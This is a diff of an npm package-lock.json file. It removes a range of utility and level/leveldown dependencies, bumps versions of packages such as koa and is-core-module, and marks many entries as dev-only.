-      "integrity": "sha512-HtRQTYpRFz/YVaQ7jh2mU5iorMAxFcML9FNOLMI1f8VNJ2K0hpOlXoi1a+nmVl6oUcGnhd6zYOFAVe7NUFStyQ==",
-      "requires": {
-        "cached-constructors-x": "^1.0.0",
-        "to-object-x": "^1.5.0",
-        "to-property-key-x": "^2.0.2"
-      }
-    },
-    "has-symbol-support-x": {
-      "version": "1.4.2",
-      "resolved": "https://registry.npmjs.org/has-symbol-support-x/-/has-symbol-support-x-1.4.2.tgz",
-      "integrity": "sha512-3ToOva++HaW+eCpgqZrCfN51IPB+7bJNVT6CUATzueB5Heb8o6Nam0V3HG5dlDvZU1Gn5QLcbahiKw/XVk5JJw=="
-    },
     "has-symbols": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz",
-      "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw=="
-    },
-    "has-to-string-tag-x": {
-      "version": "1.4.1",
-      "resolved": "https://registry.npmjs.org/has-to-string-tag-x/-/has-to-string-tag-x-1.4.1.tgz",
-      "integrity": "sha512-vdbKfmw+3LoOYVr+mtxHaX5a96+0f3DljYd8JOqvOLsf5mw2Otda2qCDT9qRqLAhrjyQ0h7ual5nOiASpsGNFw==",
-      "requires": {
-        "has-symbol-support-x": "^1.4.1"
-      }
+      "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==",
+      "dev": true
     },
     "has-tostringtag": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz",
       "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==",
+      "dev": true,
       "requires": {
         "has-symbols": "^1.0.2"
       }
@@ -6368,22 +5340,8 @@
       "requires": {
         "inherits": "^2.0.3",
         "minimalistic-assert": "^1.0.1"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
-          "dev": true
-        }
       }
     },
-    "he": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz",
-      "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==",
-      "dev": true
-    },
     "hosted-git-info": {
       "version": "4.0.2",
       "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz",
@@ -6439,12 +5397,6 @@
           "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz",
           "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=",
           "dev": true
-        },
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
-          "dev": true
         }
       }
     },
@@ -6497,6 +5449,7 @@
       "version": "0.4.24",
       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
       "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
+      "dev": true,
       "requires": {
         "safer-buffer": ">= 2.1.2 < 3"
       }
@@ -6504,7 +5457,8 @@
     "ieee754": {
       "version": "1.2.1",
       "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
-      "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA=="
+      "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
+      "dev": true
     },
     "ignore": {
       "version": "4.0.6",
@@ -6512,11 +5466,6 @@
       "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==",
       "dev": true
     },
-    "immediate": {
-      "version": "3.0.6",
-      "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz",
-      "integrity": "sha1-nbHb0Pr43m++D13V5Wu2BigN5ps="
-    },
     "immutable": {
       "version": "3.8.2",
       "resolved": "https://registry.npmjs.org/immutable/-/immutable-3.8.2.tgz",
@@ -6553,11 +5502,6 @@
       "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
       "dev": true
     },
-    "infinity-x": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/infinity-x/-/infinity-x-1.0.2.tgz",
-      "integrity": "sha512-2Ioz+exrAwlHxFBaDHQIbvUyjKFt0YjIal34/agfzx738aT1zBQwSU5A8Zgb1IQ2r24BtXrkeZZusxE40MyZaQ=="
-    },
     "inflation": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/inflation/-/inflation-2.0.0.tgz",
@@ -6568,15 +5512,17 @@
       "version": "1.0.6",
       "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
       "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=",
+      "dev": true,
       "requires": {
         "once": "^1.3.0",
         "wrappy": "1"
       }
     },
     "inherits": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz",
-      "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE="
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+      "dev": true
     },
     "ini": {
       "version": "1.3.8",
@@ -6584,15 +5530,6 @@
       "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==",
       "dev": true
     },
-    "inline-process-browser": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/inline-process-browser/-/inline-process-browser-1.0.0.tgz",
-      "integrity": "sha1-RqYbFT3TybFiSxoAYm7bT39BTyI=",
-      "requires": {
-        "falafel": "^1.0.1",
-        "through2": "^0.6.5"
-      }
-    },
     "internal-slot": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz",
@@ -6604,30 +5541,12 @@
         "side-channel": "^1.0.4"
       }
     },
-    "intl-list-format": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/intl-list-format/-/intl-list-format-1.0.3.tgz",
-      "integrity": "sha512-VNF1Mh0K1xALXkz/5QsK1gfKRvEQO/jWaniTGAzQvbzGr5uyGDskQrRjnf6Qnbc9/JRbNE8BQtTg6iWuFrZorw==",
-      "dev": true
-    },
     "ip": {
       "version": "1.1.5",
       "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.5.tgz",
       "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=",
       "dev": true
     },
-    "is-array-buffer-x": {
-      "version": "1.7.0",
-      "resolved": "https://registry.npmjs.org/is-array-buffer-x/-/is-array-buffer-x-1.7.0.tgz",
-      "integrity": "sha512-ufSZRMY2WZX5xyNvk0NOZAG7cgi35B/sGQDGqv8w0X7MoQ2GC9vedanJhuYTPaC4PUCqLQsda1w7NF+dPZmAJw==",
-      "requires": {
-        "attempt-x": "^1.1.0",
-        "has-to-string-tag-x": "^1.4.1",
-        "is-object-like-x": "^1.5.1",
-        "object-get-own-property-descriptor-x": "^3.2.0",
-        "to-string-tag-x": "^1.4.1"
-      }
-    },
     "is-arrayish": {
       "version": "0.3.2",
       "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.3.2.tgz",
@@ -6662,11 +5581,6 @@
         "has-tostringtag": "^1.0.0"
       }
     },
-    "is-buffer": {
-      "version": "1.1.6",
-      "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz",
-      "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w=="
-    },
     "is-callable": {
       "version": "1.2.4",
       "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.4.tgz",
@@ -6674,9 +5588,9 @@
       "dev": true
     },
     "is-core-module": {
-      "version": "2.7.0",
-      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.7.0.tgz",
-      "integrity": "sha512-ByY+tjCciCr+9nLryBYcSD50EOGWt95c7tIsKTG1J2ixKKXPvF7Ej3AVd+UfDydAJom3biBGDBALaO79ktwgEQ==",
+      "version": "2.8.0",
+      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.8.0.tgz",
+      "integrity": "sha512-vd15qHsaqrRL7dtH6QNuy0ndJmRDrS9HAM1CAiSifNUFv4x1a0CCVsj18hJ1mShxIG6T2i1sO78MkP56r0nYRw==",
       "dev": true,
       "requires": {
         "has": "^1.0.3"
@@ -6686,6 +5600,7 @@
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz",
       "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==",
+      "dev": true,
       "requires": {
         "has-tostringtag": "^1.0.0"
       }
@@ -6702,51 +5617,12 @@
       "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=",
       "dev": true
     },
-    "is-falsey-x": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/is-falsey-x/-/is-falsey-x-1.0.3.tgz",
-      "integrity": "sha512-RWjusR6LXAhGa0Vus7aD1rwJuJwdJsvG3daAVMDvOAgvGuGm4eilNgoSuXhpv2/2qpLDvioAKTNb3t3XYidCNg==",
-      "requires": {
-        "to-boolean-x": "^1.0.2"
-      }
-    },
-    "is-finite-x": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npmjs.org/is-finite-x/-/is-finite-x-3.0.4.tgz",
-      "integrity": "sha512-wdSI5zk/Pl21HzGcLWFoFzuDa8gsgcqhwZGAZryL2eU7RKf7+g+q4jL2gGItrBs/YtspkjOrJ4JxXNZqquoAWA==",
-      "requires": {
-        "infinity-x": "^1.0.1",
-        "is-nan-x": "^1.0.2"
-      }
-    },
     "is-fullwidth-code-point": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
       "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
       "dev": true
     },
-    "is-function-x": {
-      "version": "3.3.0",
-      "resolved": "https://registry.npmjs.org/is-function-x/-/is-function-x-3.3.0.tgz",
-      "integrity": "sha512-SreSSU1dlgYaXR5c0mm4qJHKYHIiGiEY+7Cd8/aRLLoMP/VvofD2XcWgBnP833ajpU5XzXbUSpfysnfKZLJFlg==",
-      "requires": {
-        "attempt-x": "^1.1.1",
-        "has-to-string-tag-x": "^1.4.1",
-        "is-falsey-x": "^1.0.1",
-        "is-primitive": "^2.0.0",
-        "normalize-space-x": "^3.0.0",
-        "replace-comments-x": "^2.0.0",
-        "to-boolean-x": "^1.0.1",
-        "to-string-tag-x": "^1.4.2"
-      },
-      "dependencies": {
-        "is-primitive": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz",
-          "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU="
-        }
-      }
-    },
     "is-generator-function": {
       "version": "1.0.10",
       "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.0.10.tgz",
@@ -6765,44 +5641,18 @@
         "is-extglob": "^2.1.1"
       }
     },
-    "is-index-x": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/is-index-x/-/is-index-x-1.1.0.tgz",
-      "integrity": "sha512-qULKLMepQLGC8rSVdi8uF2vI4LiDrU9XSDg1D+Aa657GIB7GV1jHpga7uXgQvkt/cpQ5mVBHUFTpSehYSqT6+A==",
-      "requires": {
-        "math-clamp-x": "^1.2.0",
-        "max-safe-integer": "^1.0.1",
-        "to-integer-x": "^3.0.0",
-        "to-number-x": "^2.0.0",
-        "to-string-symbols-supported-x": "^1.0.0"
-      }
-    },
     "is-module": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz",
       "integrity": "sha1-Mlj7afeMFNW4FdZkM2tM/7ZEFZE=",
       "dev": true
     },
-    "is-nan-x": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/is-nan-x/-/is-nan-x-1.0.3.tgz",
-      "integrity": "sha512-WenNBLVGSZID8shogsB++42vF7gvotCfneXM9KMCAKwNPXa8VfAu/RWwpqvnK7dLOP4Z7uitocb0TZ6rAiOccA=="
-    },
     "is-negative-zero": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.1.tgz",
       "integrity": "sha512-2z6JzQvZRa9A2Y7xC6dQQm4FSTSTNWjKIYYTt4246eMTJmIo0Q+ZyOsU66X8lxK1AbB92dFeglPLrhwpeRKO6w==",
       "dev": true
     },
-    "is-nil-x": {
-      "version": "1.4.2",
-      "resolved": "https://registry.npmjs.org/is-nil-x/-/is-nil-x-1.4.2.tgz",
-      "integrity": "sha512-9aDY7ir7IGb5HlgqL+b38v2YMxf8S7MEHHxjHGzUhijg2crq47RKdxL37bS6dU0VN87wy2IBZP4akgQtIXmyvg==",
-      "requires": {
-        "lodash.isnull": "^3.0.0",
-        "validate.io-undefined": "^1.0.3"
-      }
-    },
     "is-number": {
       "version": "7.0.0",
       "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
@@ -6824,15 +5674,6 @@
       "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==",
       "dev": true
     },
-    "is-object-like-x": {
-      "version": "1.7.1",
-      "resolved": "https://registry.npmjs.org/is-object-like-x/-/is-object-like-x-1.7.1.tgz",
-      "integrity": "sha512-89nz+kESAW2Y7udq+PdRX/dZnRN2WP1b19Gdv4OYE1Xjoekn1xf31l0ZPzT40qdPD7I2nveNFm9rxxI0vmnGHA==",
-      "requires": {
-        "is-function-x": "^3.3.0",
-        "is-primitive": "^3.0.0"
-      }
-    },
     "is-plain-obj": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz",
@@ -6845,11 +5686,6 @@
       "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==",
       "dev": true
     },
-    "is-primitive": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-3.0.1.tgz",
-      "integrity": "sha512-GljRxhWvlCNRfZyORiH77FwdFwGcMO620o37EOYC0ORWdq+WYNVqW0w2Juzew4M+L81l6/QS3t5gkkihyRqv9w=="
-    },
     "is-regex": {
       "version": "1.1.4",
       "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz",
@@ -6882,6 +5718,7 @@
       "version": "1.0.7",
       "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz",
       "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==",
+      "dev": true,
       "requires": {
         "has-tostringtag": "^1.0.0"
       }
@@ -6890,6 +5727,7 @@
       "version": "1.0.4",
       "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz",
       "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==",
+      "dev": true,
       "requires": {
         "has-symbols": "^1.0.2"
       }
@@ -6931,9 +5769,10 @@
       }
     },
     "isarray": {
-      "version": "0.0.1",
-      "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
-      "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8="
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+      "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
+      "dev": true
     },
     "isbinaryfile": {
       "version": "4.0.8",
@@ -6948,9 +5787,9 @@
       "dev": true
     },
     "istanbul-lib-coverage": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.0.0.tgz",
-      "integrity": "sha512-UiUIqxMgRDET6eR+o5HbfRYP1l0hqkWOs7vNxC/mggutCMUIhWMm8gAHb8tHlyfD3/l6rlgNA5cKdDzEAf6hEg==",
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz",
+      "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==",
       "dev": true
     },
     "istanbul-lib-report": {
@@ -6965,9 +5804,9 @@
       }
     },
     "istanbul-reports": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.0.3.tgz",
-      "integrity": "sha512-0i77ZFLsb9U3DHi22WzmIngVzfoyxxbQcZRqlF3KoKmCJGq9nhFHoGi8FqBztN2rE8w6hURnZghetn0xpkVb6A==",
+      "version": "3.0.5",
+      "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.0.5.tgz",
+      "integrity": "sha512-5+19PlhnGabNWB7kOFnuxT8H3T/iIyQzIbQMxXsURmmvKg86P2sbkrGOT77VnHw0Qr0gc2XzRaRfMZYYbSQCJQ==",
       "dev": true,
       "requires": {
         "html-escaper": "^2.0.0",
@@ -7000,22 +5839,8 @@
       "requires": {
         "argparse": "^1.0.7",
         "esprima": "^4.0.0"
-      },
-      "dependencies": {
-        "esprima": {
-          "version": "4.0.1",
-          "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
-          "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
-          "dev": true
-        }
       }
     },
-    "json-parse-better-errors": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz",
-      "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==",
-      "dev": true
-    },
     "json-parse-even-better-errors": {
       "version": "2.3.1",
       "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
@@ -7028,14 +5853,6 @@
       "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
       "dev": true
     },
-    "json-stable-stringify": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-1.0.1.tgz",
-      "integrity": "sha1-mnWdOcXy/1A/1TAGRu1EX4jE+a8=",
-      "requires": {
-        "jsonify": "~0.0.0"
-      }
-    },
     "json-stable-stringify-without-jsonify": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
@@ -7065,21 +5882,8 @@
       "requires": {
         "graceful-fs": "^4.1.6",
         "universalify": "^2.0.0"
-      },
-      "dependencies": {
-        "universalify": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
-          "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==",
-          "dev": true
-        }
       }
     },
-    "jsonify": {
-      "version": "0.0.0",
-      "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.0.tgz",
-      "integrity": "sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM="
-    },
     "jsonld-context-parser": {
       "version": "2.1.5",
       "resolved": "https://registry.npmjs.org/jsonld-context-parser/-/jsonld-context-parser-2.1.5.tgz",
@@ -7133,25 +5937,6 @@
       "integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA=",
       "dev": true
     },
-    "jstransform": {
-      "version": "11.0.3",
-      "resolved": "https://registry.npmjs.org/jstransform/-/jstransform-11.0.3.tgz",
-      "integrity": "sha1-CaeJk+CuTU70SH9hVakfYZDLQiM=",
-      "requires": {
-        "base62": "^1.1.0",
-        "commoner": "^0.10.1",
-        "esprima-fb": "^15001.1.0-dev-harmony-fb",
-        "object-assign": "^2.0.0",
-        "source-map": "^0.4.2"
-      },
-      "dependencies": {
-        "esprima-fb": {
-          "version": "15001.1.0-dev-harmony-fb",
-          "resolved": "https://registry.npmjs.org/esprima-fb/-/esprima-fb-15001.1.0-dev-harmony-fb.tgz",
-          "integrity": "sha1-MKlHMDxrjV6VW+4rmbHSMyBqaQE="
-        }
-      }
-    },
     "just-extend": {
       "version": "4.2.1",
       "resolved": "https://registry.npmjs.org/just-extend/-/just-extend-4.2.1.tgz",
@@ -7174,9 +5959,9 @@
       "dev": true
     },
     "koa": {
-      "version": "2.13.3",
-      "resolved": "https://registry.npmjs.org/koa/-/koa-2.13.3.tgz",
-      "integrity": "sha512-XhXIoR+ylAwqG3HhXwnMPQAM/4xfywz52OvxZNmxmTWGGHsvmBv4NSIhURha6yMuvEex1WdtplUTHnxnKpQiGw==",
+      "version": "2.13.4",
+      "resolved": "https://registry.npmjs.org/koa/-/koa-2.13.4.tgz",
+      "integrity": "sha512-43zkIKubNbnrULWlHdN5h1g3SEKXOEzoAlRsHOTFpnlDu8JlAOZSMJBLULusuXRequboiwJcj5vtYXKB3k7+2g==",
       "dev": true,
       "requires": {
         "accepts": "^1.3.5",
@@ -7307,137 +6092,6 @@
       "integrity": "sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A==",
       "dev": true
     },
-    "level": {
-      "version": "6.0.1",
-      "resolved": "https://registry.npmjs.org/level/-/level-6.0.1.tgz",
-      "integrity": "sha512-psRSqJZCsC/irNhfHzrVZbmPYXDcEYhA5TVNwr+V92jF44rbf86hqGp8fiT702FyiArScYIlPSBTDUASCVNSpw==",
-      "requires": {
-        "level-js": "^5.0.0",
-        "level-packager": "^5.1.0",
-        "leveldown": "^5.4.0"
-      }
-    },
-    "level-codec": {
-      "version": "9.0.2",
-      "resolved": "https://registry.npmjs.org/level-codec/-/level-codec-9.0.2.tgz",
-      "integrity": "sha512-UyIwNb1lJBChJnGfjmO0OR+ezh2iVu1Kas3nvBS/BzGnx79dv6g7unpKIDNPMhfdTEGoc7mC8uAu51XEtX+FHQ==",
-      "requires": {
-        "buffer": "^5.6.0"
-      }
-    },
-    "level-concat-iterator": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/level-concat-iterator/-/level-concat-iterator-2.0.1.tgz",
-      "integrity": "sha512-OTKKOqeav2QWcERMJR7IS9CUo1sHnke2C0gkSmcR7QuEtFNLLzHQAvnMw8ykvEcv0Qtkg0p7FOwP1v9e5Smdcw=="
-    },
-    "level-errors": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/level-errors/-/level-errors-2.0.1.tgz",
-      "integrity": "sha512-UVprBJXite4gPS+3VznfgDSU8PTRuVX0NXwoWW50KLxd2yw4Y1t2JUR5In1itQnudZqRMT9DlAM3Q//9NCjCFw==",
-      "requires": {
-        "errno": "~0.1.1"
-      }
-    },
-    "level-iterator-stream": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/level-iterator-stream/-/level-iterator-stream-4.0.2.tgz",
-      "integrity": "sha512-ZSthfEqzGSOMWoUGhTXdX9jv26d32XJuHz/5YnuHZzH6wldfWMOVwI9TBtKcya4BKTyTt3XVA0A3cF3q5CY30Q==",
-      "requires": {
-        "inherits": "^2.0.4",
-        "readable-stream": "^3.4.0",
-        "xtend": "^4.0.2"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
-        },
-        "readable-stream": {
-          "version": "3.6.0",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
-          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
-          "requires": {
-            "inherits": "^2.0.3",
-            "string_decoder": "^1.1.1",
-            "util-deprecate": "^1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.3.0",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
-          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
-          "requires": {
-            "safe-buffer": "~5.2.0"
-          }
-        }
-      }
-    },
-    "level-js": {
-      "version": "5.0.2",
-      "resolved": "https://registry.npmjs.org/level-js/-/level-js-5.0.2.tgz",
-      "integrity": "sha512-SnBIDo2pdO5VXh02ZmtAyPP6/+6YTJg2ibLtl9C34pWvmtMEmRTWpra+qO/hifkUtBTOtfx6S9vLDjBsBK4gRg==",
-      "requires": {
-        "abstract-leveldown": "~6.2.3",
-        "buffer": "^5.5.0",
-        "inherits": "^2.0.3",
-        "ltgt": "^2.1.2"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
-        }
-      }
-    },
-    "level-packager": {
-      "version": "5.1.1",
-      "resolved": "https://registry.npmjs.org/level-packager/-/level-packager-5.1.1.tgz",
-      "integrity": "sha512-HMwMaQPlTC1IlcwT3+swhqf/NUO+ZhXVz6TY1zZIIZlIR0YSn8GtAAWmIvKjNY16ZkEg/JcpAuQskxsXqC0yOQ==",
-      "requires": {
-        "encoding-down": "^6.3.0",
-        "levelup": "^4.3.2"
-      }
-    },
-    "level-supports": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/level-supports/-/level-supports-1.0.1.tgz",
-      "integrity": "sha512-rXM7GYnW8gsl1vedTJIbzOrRv85c/2uCMpiiCzO2fndd06U/kUXEEU9evYn4zFggBOg36IsBW8LzqIpETwwQzg==",
-      "requires": {
-        "xtend": "^4.0.2"
-      }
-    },
-    "level-write-stream": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/level-write-stream/-/level-write-stream-1.0.0.tgz",
-      "integrity": "sha1-P3+7Z5pVE3wP6zA97nZuEu4Twdw=",
-      "requires": {
-        "end-stream": "~0.1.0"
-      }
-    },
-    "leveldown": {
-      "version": "5.6.0",
-      "resolved": "https://registry.npmjs.org/leveldown/-/leveldown-5.6.0.tgz",
-      "integrity": "sha512-iB8O/7Db9lPaITU1aA2txU/cBEXAt4vWwKQRrrWuS6XDgbP4QZGj9BL2aNbwb002atoQ/lIotJkfyzz+ygQnUQ==",
-      "requires": {
-        "abstract-leveldown": "~6.2.1",
